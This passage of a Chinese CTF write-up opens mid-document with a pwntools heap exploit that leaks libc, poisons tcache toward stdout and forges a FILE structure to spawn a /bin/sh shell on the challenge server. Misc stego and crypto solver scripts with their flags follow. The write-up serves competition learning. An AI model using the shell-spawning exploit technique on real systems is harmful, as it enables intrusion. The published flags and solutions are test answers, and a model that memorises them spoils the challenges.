p = remote("tcp.cloud.dasctf.com", 24816)


def add(sz,c=b'a'*8):
p.sendlineafter(">>","1")
p.sendlineafter("size:\n",str(sz))
p.sendafter("Content:\n",c)
def delete(idx):
p.sendlineafter(">>","2")
p.sendlineafter("idx:\n",str(idx))
def edit(idx,c):
p.sendlineafter(">>","3")
p.sendlineafter("idx:\n",str(idx))
p.sendafter("content:\n",c)
def show(idx):
p.sendlineafter(">>","4")
p.sendlineafter("idx:\n",str(idx))

add(0x80)
add(0x80)
add(0x80)
add(0x80)
add(0x80)

show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x292e50
print("libc_base = ",libc_base)

stdout = libc_base + 0x292300
mal = libc_base + 0x292b20
system = libc_base + 0x42688

delete(1)
add(0x80,"a"*8)
delete(1)
edit(5,p64(stdout - 0x20) + p64(stdout - 0x20))

add(0x80,"b"*8)
delete(1)
edit(5,p64(mal) + p64(stdout - 0x20))
add(0x80, p64(stdout - 0x20) + p64(mal))

add(0x80)
add(0x80)

payload = b's'*0x10
payload += flat({0: '/bin/sh\x00',0x20: 1,0x28: 1,0x30: system,0x38: 0,0x48: system })
edit(9,payload)
p.interactive()

图片.png

Misc

EZ_misc

1c8e5a535add06a6da2129b51c777a8e.png
发现图片的宽高是有问题的,CRC爆破一下,修改宽高,然后发现文件尾有一个压缩包,然后修改压缩包0304里面是feld文本,根据图片得到是Gronsfeld编码然后,是5位密码,
vzbtrvplnnvphsqkxsiqibroou
还有这一段话
f29625e85024fe09dcb053be9adc107b.png
且文件有两个文件尾,推测是CVE-2023-28303,然后解码
TRYTOTHINKTHESNIPPINGTOOLS
给出了工具,然后
python gui.py得到flag
CvE_1s_V3Ry_intEr3sting!!

Matryoshka

拿到img先放入DiskGenius,发现有一个encrypt且大小是20mb,然后还有一个压缩包以及一个图片,压缩包文件尾有一个jpg,两个图片一样,推测是盲水印,然后解出挂载密码
watermark_is_fun
然后挂载得到一个文本发现是0宽
解出一个密码,然后文本先base32,然后维吉尼亚得到flag
DASCTF{congratulati0n_you_f1nd_th3_f14g!!!}

ai和nia的交响曲

从流量包导出了所有东西,里面有压缩包,压缩包伪加密和零宽隐写,获取flag1
@i_n1a_l0v3S_
顺路还有个hintBV1wW4y1R7Jv&&FLAG1:@i_n1a_l0v3S_
是个b站视频
image.png
然后题目给了一个hint
image.png
得到后半段CAOCAOGAIFAN
FLAG:@i_n1a_l0v3S_CAOCAOGAIFAN

GIFuck

义眼丁真鉴定为插了帧
gpt写的脚本哦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from PIL import Image
import os
# 打开GIF文件
gif_path = "out.gif"
gif_image = Image.open(gif_path)
# 获取GIF中的帧数
num_frames = gif_image.n_frames
# 创建一个目录来保存PNG图像
output_directory = "output/"
os.makedirs(output_directory, exist_ok=True)
# 循环遍历每一帧并保存为PNG图像
for frame_number in range(num_frames):
gif_image.seek(frame_number)
frame_image = gif_image.copy()
frame_image.save(f"{output_directory}{frame_number}.png"

然后就是按照帧的长度去写一个脚本得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
++++[->++++<]>[->++++++<]>-[-
>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]+++<++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]++<+++
<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]<+++[->++++<]>[->-<]>[-<<<+>>>]<+++<+[->++++
<]>[->++++<]>[->-<]>[-<<<+>>>]+++<++[->++++<]>[->-<]>[-<<<+>>>]+<++<+[->++++<]>[-
>++++<]>[->-<]>[-<<<+>>>]<+++<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++
<]>[->-<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-
<<<+>>>][->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<++[->++++<]>[->+<]>[-
<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]++[->+<]>[-
<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-
<<<+>>>]+<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-
<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>
[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<+++[->++++<]>[->+<]>[-
<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-
<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>]++<+++<+[-
>++++<]>[->++++<]>[->+<]>[-<<<+>>>]<<+++++++++[->+++++++++<]>++.<+++++[->+++++
<]>+++.+++..+++++++.<+++++++++[->---------<]>--------.<++++++++[->++++++++<]>++.
<++++[->++++<]>+++.-.<+++++++++[->---------<]>---.<+++++++++[->+++++++++<]>++++++++.
<+++[->---<]>-.++++++.---.<+++++++++[->---------<]>-.<++++++++[->++++++++
<]>++++++.++++++.<+++[->---<]>--.++++++.<++++++++[->--------<]>-------.<++++++++[-
>++++++++<]>+++++++++.<+++[->+++<]>+.<+++++++++[->---------<]>--.<++++++++[-
>++++++++<]>++++++++++++++.+.+++++.<+++++++++[->---------<]>---.<++++++++[->++++++++
<]>++++++++.---.<+++[->+++<]>++++.<+++[->---<]>----.<+++++++[->-------<]>------.[-]

Pen_Pineapple_Apple_Pen

Crypto

XOR贯穿始终

考点:RSA证书内容+异或
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from Crypto.Util.number import *
from gmpy2 import *


from base64 import b64decode
import binascii


# 证书里的PEM格式内容
s = '''MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALmtMy+2uH1ZtbIL
SuiAukFthyQRH5mp7UmLyzZQkdg9zEP9/5tgffikQ7ytx5kHySHnazgAO1sOzmYE
N4Axlev6uafiP8B1Eij97v5VkYJ1I9e3mtBNheTbXKoT8op+ASQ1fQaF4A8UzLuW
eZeZI8JTH/SH+bolAK3kiZXDFdkTAgMBAAECgYEAl067LaC7Cvs2A5cMPhfYsESv
IgcKN1CwW4Sd3u8dSphhgu7TgyzIuvwxbuo2g1BC6WwKhaI6vGN+csfw6nh98GEn
/p3D0huNroAYvf/DRRB9UnHdttX7wB+Mv3P0RBDWHgBiCDVvHFuFUV78cIs0tnbn
jxjU07aPV2XRC3AfA2ECQQDqWUNPVg3i6vTyHCL7EGkbeUheYpAAfcKCQrxjc5+5
X6A+XtgHAA1JHwykPlCpHUOmlA85DJF1ejuoImzlgRLJAkEAytTCnQF+MN2r1gaA
UETZyj5qMYT7Th8zKEVVVJjDawLnuX4usJ2FyRnjCkk86U75QSJhw5mMc0QnG25u
Gz3++w=='''

s = b64decode(s)

# print(binascii.hexlify(s))
'''
证书整理后的结果:
30
82 0277
0201 00
300d06092a864886f70d010101050004820261
30
82 025d
0201 00
n 028181 00b9ad332fb6b87d59b5b20b4ae880ba416d8724111f99a9ed498bcb365091d83dcc43fdff9b607df8a443bcadc79907c921e76b38003b5b0ece660437803195ebfab9a7e23fc0751228fdeefe5591827523d7b79ad04d85e4db5caa13f28a7e0124357d0685e00f14ccbb9679979923c2531ff487f9ba2500ade48995c315d913
e 0203 010001
d 028181 00974ebb2da0bb0afb3603970c3e17d8b044af22070a3750b05b849ddeef1d4a986182eed3832cc8bafc316eea36835042e96c0a85a23abc637e72c7f0ea787df06127fe9dc3d21b8dae8018bdffc345107d5271ddb6d5fbc01f8cbf73f44410d61e006208356f1c5b85515efc708b34b676e78f18d4d3b68f5765d10b701f0361
p 0241 00ea59434f560de2eaf4f21c22fb10691b79485e6290007dc28242bc63739fb95fa03e5ed807000d491f0ca43e50a91d43a6940f390c91757a3ba8226ce58112c9
q 0241 00cad4c29d017e30ddabd606805044d9ca3e6a3184fb4e1f332845555498c36b02e7b97e2eb09d85c919e30a493ce94ef9412261c3998c7344271b6e6e1b3dfefb+
'''
n = 0x00b9ad332fb6b87d59b5b20b4ae880ba416d8724111f99a9ed498bcb365091d83dcc43fdff9b607df8a443bcadc79907c921e76b38003b5b0ece660437803195ebfab9a7e23fc0751228fdeefe5591827523d7b79ad04d85e4db5caa13f28a7e0124357d0685e00f14ccbb9679979923c2531ff487f9ba2500ade48995c315d913
e = 0x010001
d = 0x00974ebb2da0bb0afb3603970c3e17d8b044af22070a3750b05b849ddeef1d4a986182eed3832cc8bafc316eea36835042e96c0a85a23abc637e72c7f0ea787df06127fe9dc3d21b8dae8018bdffc345107d5271ddb6d5fbc01f8cbf73f44410d61e006208356f1c5b85515efc708b34b676e78f18d4d3b68f5765d10b701f0361
c = 91817924748361493215143897386603397612753451291462468066632608541316135642691873237492166541761504834463859351830616117238028454453831120079998631107520871612398404926417683282285787231775479511469825932022611941912754602165499500350038397852503264709127650106856760043956604644700201911063515109074933378818
# print(long_to_bytes(pow(c, d, n)))
m = pow(c, d, n)
# 因为print出来的不太完整,而且题目叫 “XOR贯穿始终”,
# 所以猜测还得异或压缩包密码
print(long_to_bytes(m ^ bytes_to_long(b'C0ngr4tulati0n5_y0u_fou^d_m3')))
# b'DASCTF{0e2874af5e422482378640e61d919e9a}'

Easy_3L

考点:格基约化+LCG参数恢复
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# sage运行
from Crypto.Util.number import *
from functools import reduce
from gmpy2 import *


# 已知信息
p = 25886434964719448194352673440525701654705794467884891063997131230558866479588298264578120588832128279435501897537203249743883076992668855905005985050222145380285378634993563571078034923112985724204131887907198503097115380966366598622251191576354831935118147880783949022370177789175320661630501595157946150891275992785113199863734714343650596491139321990230671901990010723398037081693145723605154355325074739107535905777351
h = 2332673914418001018316159191702497430320194762477685969994411366563846498561222483921873160125818295447435796015251682805613716554577537183122368080760105458908517619529332931042168173262127728892648742025494771751133664547888267249802368767396121189473647263861691578834674578112521646941677994097088669110583465311980605508259404858000937372665500663077299603396786862387710064061811000146453852819607311367850587534711
c = 20329058681057003355767546524327270876901063126285410163862577312957425318547938475645814390088863577141554443432653658287774537679738768993301095388221262144278253212238975358868925761055407920504398004143126310247822585095611305912801250788531962681592054588938446210412897150782558115114462054815460318533279921722893020563472010279486838372516063331845966834180751724227249589463408168677246991839581459878242111459287

# 获得 s[3]
"""
a = 25886434964719448194352673440525701654705794467884891063997131230558866479588298264578120588832128279435501897537203249743883076992668855905005985050222145380285378634993563571078034923112985724204131887907198503097115380966366598622251191576354831935118147880783949022370177789175320661630501595157946150891275992785113199863734714343650596491139321990230671901990010723398037081693145723605154355325074739107535905777351
print(a.nbits())
"""
bal = 2**512 # 可以是别的数,我测试过,似乎是大于等于256的都行 (可能?)
M = Matrix([[bal, 0, c], [0, 1, -h], [0, 0, p]])
#print(M.LLL())
# 猜的第一组,结果还真是。。。。
M = M.LLL()[0]

# 恢复LCG
# 前几周做题的时候碰见过,就直接照搬了当时找到的脚本
S3 = abs(M[-1])
S1 = 28572152986082018877402362001567466234043851789360735202177142484311397443337910028526704343260845684960897697228636991096551426116049875141
S2 = 1267231041216362976881495706209012999926322160351147349200659893781191687605978675590209327810284956626443266982499935032073788984220619657447889609681888
S4 = 9739918644806242673966205531575183334306589742344399829232076845951304871478438938119813187502023845332528267974698273405630514228632721928260463654612997
S5 = 9755668823764800147393276745829186812540710004256163127825800861195296361046987938775181398489372822667854079119037446327498475937494635853074634666112736
S = [S1, S2, S3, S4, S5]
T = [s1 - s0 for s0, s1 in zip(S, S[1:])]
p = [t2*t0 - t1*t1 for t0, t1, t2 in zip(T, T[1:], T[2:])]
p = int(abs(reduce(gcd, p)))
#print(m)
A = Matrix([[S[0], S[1], 1/p, 0, 0], [1, 1, 0, 1/p, 0], [-S[1], -S[2], 0, 0, 1], [p, 0, 0, 0, 0], [0, p, 0, 0, 0]])
#print(A)
A = A.LLL()
a = 0
b = 0
for i in A:
if i[0] == 0 and i[1] == 0:
if i[-1] == 1:
a, b = i[2] * p, i[3] * p
elif i[-1] == -1:
a, b = -i[2] * p, -i[3] * p
else:
continue
if 0 in (a, b):
raise ValueError("[*] No solves")
a %= p
b %= p
a1 = invert(a, p)

# 回溯到s[0], 即flag
f = long_to_bytes((a1*(S[0]-b)) % p)
if f[:4] == b'flag' or f[:6] == b'DASCTF':
print(f)
# b'DASCTF{NTRU_L0G_a6e_S1mpLe}'

esyRSA

考点:连分数攻击
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
n = 80642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373
d = 14218766449983537783699024084862960813708451888387858392014856544340557703876299258990323621963898510226357248200187173211121827541826897886277531706124228848229095880229718049075745233893843373402201077890407507625110061976931591596708901741146750809962128820611844426759462132623616118530705745098783140913
# 生成连分数的分母及分子
# d/n >>> k/e
cf = continued_fraction(d/n)
from hashlib import md5
for i in range(1,1000):
num = cf.numerator(i)
den = cf.denominator(i) #即e
# 符合条件就输出, 至于为啥长度得是五才行, 我猜的 (主要是看题目的e有五个问号)
if (den*d-1) % num==0 and len(str(den))>=5:
phi = ((den*d-1)//num)
p_q = n+1-phi
print(md5(str(p_q).encode()).hexdigest())
# 4ae33bea90f030bfddb7ac4d9222ef8f

MCeorpkpleer

考点:背包密码+已知p的高位Coppersmith攻击
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# sage
from Crypto.Util.number import *


# 已知参数
p = 139540788452365306201344680691061363403552933527922544113532931871057569249632300961012384092481349965600565669315386312075890938848151802133991344036696488204791984307057923179655351110456639347861739783538289295071556484465877192913103980697449775104351723521120185802327587352171892429135110880845830815744
n = 22687275367292715121023165106670108853938361902298846206862771935407158965874027802803638281495587478289987884478175402963651345721058971675312390474130344896656045501040131613951749912121302307319667377206302623735461295814304029815569792081676250351680394603150988291840152045153821466137945680377288968814340125983972875343193067740301088120701811835603840224481300390881804176310419837493233326574694092344562954466888826931087463507145512465506577802975542167456635224555763956520133324723112741833090389521889638959417580386320644108693480886579608925996338215190459826993010122431767343984393826487197759618771
c = 156879727064293983713540449709354153986555741467040286464656817265584766312996642691830194777204718013294370729900795379967954637233360644687807499775502507899321601376211142933572536311131955278039722631021587570212889988642265055045777870448827343999745781892044969377246509539272350727171791700388478710290244365826497917791913803035343900620641430005143841479362493138179077146820182826098057144121231954895739989984846588790277051812053349488382941698352320246217038444944941841831556417341663611407424355426767987304941762716818718024107781873815837487744195004393262412593608463400216124753724777502286239464
pubkey = [18143710780782459577, 54431132342347378731, 163293397027042136193, 489880191081126408579, 1469640573243379225737, 4408921719730137677211, 13226765159190413031633, 39680295477571239094899, 119040886432713717284697, 357122659298141151854091, 1071367977894423455562273, 3214103933683270366686819, 9642311801049811100060457, 28926935403149433300181371, 86780806209448299900544113, 260342418628344899701632339, 781027255885034699104897017, 2343081767655104097314691051, 7029245302965312291944073153, 21087735908895936875832219459, 63263207726687810627496658377, 189789623180063431882489975131, 569368869540190295647469925393, 1708106608620570886942409776179, 601827224419797931380408071500, 1805481673259393794141224214500, 893952418336266652976851386463, 2681857255008799958930554159389, 3523079163584485147344841221130, 1524252287869625983140881149316, 50264262166963219975822190911, 150792786500889659927466572733, 452378359502668979782399718199, 1357135078508006939347199154597, 4071405235524020818041597463791, 3169230503688232995231149877299, 462706308180869526799807117823, 1388118924542608580399421353469, 4164356773627825741198264060407, 3448085117999647764701149667147, 1299270151115113835209806487367, 3897810453345341505629419462101, 2648446157152195057994615872229, 3422845870014670444537026359650, 1223552407160181874717436564876, 3670657221480545624152309694628, 1966986461557807413563286569810, 1378466783231507511243038452393, 4135400349694522533729115357179, 3361215846199738142293703557463, 1038662335715384967987468158315, 3115987007146154903962404474945, 302975818554635252993570910761, 908927455663905758980712732283, 2726782366991717276942138196849, 3657854499533237101379593333510, 1928578295715881845245137486456, 1263242285705730806288591202331, 3789726857117192418865773606993, 2324195368467747797703678306905, 2450093503961328663664213663678, 2827787910442071261545819733997, 3960871129884299055190637944954, 2837628186769067706678271320788]
print(len(pubkey))
en_e = 31087054322877663244023458448558

# 已知p的高位Coppersmith攻击
p4 = 139540788452365306201344680691061363403552933527922544113532931871057569249632300961012384092481349965600565669315386312075890938848151802133991344036696488204791984307057923179655351110456639347861739783538289295071556484465877192913103980697449775104351723521120185802327587352171892429135110880845830815744
p4 >>= 435
n = 22687275367292715121023165106670108853938361902298846206862771935407158965874027802803638281495587478289987884478175402963651345721058971675312390474130344896656045501040131613951749912121302307319667377206302623735461295814304029815569792081676250351680394603150988291840152045153821466137945680377288968814340125983972875343193067740301088120701811835603840224481300390881804176310419837493233326574694092344562954466888826931087463507145512465506577802975542167456635224555763956520133324723112741833090389521889638959417580386320644108693480886579608925996338215190459826993010122431767343984393826487197759618771
#全位数
pbits = 1024
#缺省位数
kbits = pbits - p4.nbits()#nbits()位数
print (p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
p = int(p4+x0)
# print ("p: ", hex(int(p)))
assert n % p == 0

# 背包密码
# 刚开始以为有点像得用贪心算法的, 但确实用不了。。。
# 后来看着有点像背包密码, 于是就拿在NSS上学到的一个脚本来试试, 然后就成了
b = pubkey
nn = len(b)
# print(nn)
L = Matrix(ZZ, nn+1, nn+1)
for i in range(n):
L[i,i] = 1
L[i,-1] = b[i]
L[-1,-1] = -en_e
res = L.LLL()
for i in range(n + 1):
M = res.row(i).list()
flag = True
for m in M:
if m != 0 and m != 1:
flag = False
break
if flag:
e = int("".join([str(j) for j in M[:-1]]), 2)
q = n//p
#print(p)
#print(q)
assert GCD(e, (p-1)*(q-1)) == 1
d = inverse(e, (p-1)*(q-1))
flag = long_to_bytes(int(pow(c, d, n)))
if b"flag" in flag or b"DASCTF" in flag:
print(flag)
break
# b'DASCTF{T81I_tPPS_6r7g_xlPi_OO3M_6vyV_Rkba}'

SigninCrypto

考点:MT19937+异或+DES3
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import DES3
from randcrack import RandCrack
# from string import ascii_letters


# 获得K2
with open("C:\\Users\\luyuj\\Downloads\\SigninCrypto\\task.txt", 'r') as f:
ran = f.read().strip().split('\n')
ran_bit = [int(i[2:], 16) for i in ran]
# 题目给了完整的16位的随机数,这是32位数的高位;
# 虽然64位的随机数不完整,但我们可以得到其低位,同时也可以是32位数的低位
high = ran_bit[:624]
low = ran_bit[624:]
s = []
# 转换出32位的随机数
for i in range(len(low)):
s.extend(
(
(high[2 * i] << 16) + (low[i] & 0xFFFF),
(high[2 * i + 1] << 16) + (low[i] >> 16),
)
)
# 在网上搜的时候, 看到这个工具, 就直接拿来用了
rand = RandCrack()
for i in range(624):
rand.submit(s[i])
K2 = long_to_bytes(rand.predict_getrandbits(64))
c = 'a6546bd93bced0a8533a5039545a54d1fee647007df106612ba643ffae850e201e711f6e193f15d2124ab23b250bd6e1'
ct = bytes.fromhex(c)

# 获得K1
# print(ascii_letters)
ascii_letters = b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
xor = 334648638865560142973669981316964458403
get = 0
K1 = b'' #dasctfda
# 因为是两个随机字节, 所以就直接爆破就行, 然后用字母表判断来停止爆破
for i in range(2**8):
for j in range(2**8):
hint = (long_to_bytes(i) + long_to_bytes(j)) * 8
res = long_to_bytes(bytes_to_long(hint) ^ xor)
for k in range(len(res)):
if res[k] not in ascii_letters:
break
if k == len(res)-1:
K1 = res
get = 1
if get:
break
if get:
break

iv = b"GWHTGWHT"
# 爆破最后一位, 然后直接解密去得到flag
for j in range(2**8):
key = K1 + K2 + b'DASCTF{' + long_to_bytes(j)
mode = DES3.MODE_CBC
des3 = DES3.new(key, mode, iv)
m = des3.decrypt(ct)
if b'DASCTF{' in m:
print(m)
# b'DASCTF{8e5ee461-f4e1-4af2-8632-c9d62f4dc073}\x04\x04\x04\x04'

Danger_RSA

考点:素数生成+多项式环
exp:
在网上找到一个类似题目的wp,就直接拿来用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import gmpy2
from Crypto.Util.number import *
from gmpy2 import *
n = 20289788565671012003324307131062103060859990244423187333725116068731043744218295859587498278382150779775620675092152011336913225797849717782573829179765649320271927359983554162082141908877255319715400550981462988869084618816967398571437725114356308935833701495015311197958172878812521403732038749414005661189594761246154666465178024563227666440066723650451362032162000998737626370987794816660694178305939474922064726534186386488052827919792122844587807300048430756990391177266977583227470089929347969731703368720788359127837289988944365786283419724178187242169399457608505627145016468888402441344333481249304670223
e = 11079917583
c = 13354219204055754230025847310134936965811370208880054443449019813095522768684299807719787421318648141224402269593016895821181312342830493800652737679627324687428327297369122017160142465940412477792023917546122283870042482432790385644640286392037986185997262289003477817675380787176650410819568815448960281666117602590863047680652856789877783422272330706693947399620261349458556870056095723068536573904350085124198592111773470010262148170379730937529246069218004969402885134027857991552224816835834207152308645148250837667184968030600819179396545349582556181916861808402629154688779221034610013350165801919342549766
#print(e.bit_length())

# 确认r和s的位数
"""
for m in range(10):
print(m**2-m+2)
# 34/2=17
# 14 m=4
"""

# factor(e) = 3*7*7*19*691*5741
# 因为是17位,所以就只可能是下面的情况
r,s = 5741*3*7, 691*19*7
ab = int(gmpy2.iroot(n,4)[0])
# a、b都比r和s大很多,于是就有n≈(a*b)^4, ab=iroot(n,4)[0]
"""
var('a b')
f1 = a*b == ab
f2 = n == (ab**4)+a**4*s+b**4*r+r*s
print(solve([f1,f2],[a,b]))
"""
a = 47783641287938625512681830427927501009821495321018170621907812035456872958654
b = 44416071018427916652440592614276227563515579156219730344722242565477265479486
p=a**4+r
q=b**4+s
#print(gcd(e//3, p-1))
d = inverse(e//3, p-1)
m_72 = pow(c,d,n)
e = 3
P.<a>=PolynomialRing(Zmod(p),implementation='NTL')
f = a^e - m_72
mps=f.monic().roots()
for i in mps:
flag=long_to_bytes(int(i[0]))
if b"flag" in flag or b"DASCTF" in flag:
print(flag)
# b'DASCTF{C0nsTruct!n9_Techn1qUe2_f0r_RSA_Pr1me_EnC2ypt10N}'

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#YCB